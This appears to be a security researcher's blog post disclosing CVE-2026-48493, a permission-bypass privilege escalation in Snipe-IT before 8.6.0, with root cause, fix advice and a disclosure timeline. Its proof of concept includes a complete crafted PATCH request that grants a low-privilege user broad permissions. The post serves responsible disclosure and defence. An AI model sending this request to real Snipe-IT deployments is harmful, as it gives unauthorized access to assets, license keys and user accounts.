security research
iltosec
← back to blog

CVE-2026-48493: Privilege Escalation via Permission Bypass in Snipe-IT

Summary

CVE-2026-48493 affects Snipe-IT versions below 8.6.0. The user update API endpoint (PATCH /api/v1/users/{id}) does not sufficiently validate the permissions payload submitted by authenticated users. The PreserveUnauthorizedPrivilegedPermissionsAction class only strips superuser and admin flags from incoming requests; all other module-level permissions pass through without any restriction. As a result, an attacker with only the users.edit permission can send a crafted PATCH request to their own user record and grant themselves any combination of permissions — including assets.delete, licenses.keys, users.delete, and reports.view achieving near-full system access without administrator approval.

CVSS Score: 6.5 Moderate  |  CVE: CVE-2026-48493  |  GHSA-52fw-7fw2-fmv5  |  Authors: iltosec, tienneR 


Vulnerability Details

Root Cause

The app/Actions/Permissions/PreserveUnauthorizedPrivilegedPermissionsAction.php file preserves only two of the system'''s permissions: image

PreserveUnauthorizedPrivilegedPermissionsAction only strips superuser and admin from incoming requests. All other module-level permissions (assets.view, assets.delete, licenses.keys, users.delete, reports.view, etc.) are applied directly from the attacker-controlled payload without any ownership or ceiling validation.

Affected Files

Proof of Concept

Precondition

Attacker is an authenticated user with only users.edit and self.api permissions.

Step 1: Create the Attacker User

Log in as an Administrator, then navigate to Admin ➔ Users ➔ Create New User. Select only users.edit and self.api permissions.

image
image

Step 2: Login as attacker and Generate API Token

Generate a JWT API token for the low-privilege user account.

image

Step 3: Find Your User ID

You can find your own User ID by decoding the payload section (the middle part) of the JWT token.

image

Step 4: Escalate own permissions

PATCH /api/v1/users/9 HTTP/1.1
Host: 127.0.0.1:1337
Cache-Control: max-age=0
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...
Connection: keep-alive

{
  "permissions": "{"superuser":"0","admin":"0","import":"1","reports.view":"1","assets.view":"1","assets.create":"1","assets.edit":"1","assets.delete":"1","assets.checkin":"1","assets.checkout":"1","licenses.view":"1","licenses.create":"1","licenses.edit":"1","licenses.delete":"1","licenses.checkout":"1","licenses.checkin":"1","licenses.keys":"1","users.view":"1","users.create":"1","users.edit":"1","users.delete":"1","self.api":"1","kits.admin":"1"}"
}

image

Response: 200 OK. Attacker now holds all requested permissions.

Step 5: Verify escalated access

image

Impact

A successful exploit grants the attacker the following capabilities without any administrative approval:

The attacker cannot obtain superuser or admin status; the Settings panel and a small number of admin-only features remain inaccessible. All operational data and inventory management functions are otherwise fully compromised.

Fix

Update to Snipe-IT v8.6.0 or later immediately.

The fix enforces a permission ceiling: a user can only grant permissions they already hold. Anything in the incoming payload that the caller doesn't already possess is silently stripped before saving.

If you cannot patch immediately, audit which accounts currently hold users.edit and revoke it from any account that doesn't strictly require it. Until patched, treat any account with users.edit + self.api as a high-privilege combination.

Disclosure Timeline

Date Event
2026-05-21 Vulnerability discovered & Report submitted to Snipe-IT
2026-05-21 Vendor confirmed
2026-05-22 Correction submitted — permission ceiling enforcement
2026-05-22 Patch committed (PR #19024)
2026-05-28 CVE-2026-48493 assigned, advisory published
2026-05-28 v8.6.0 released

References

found this useful?
share on x ↗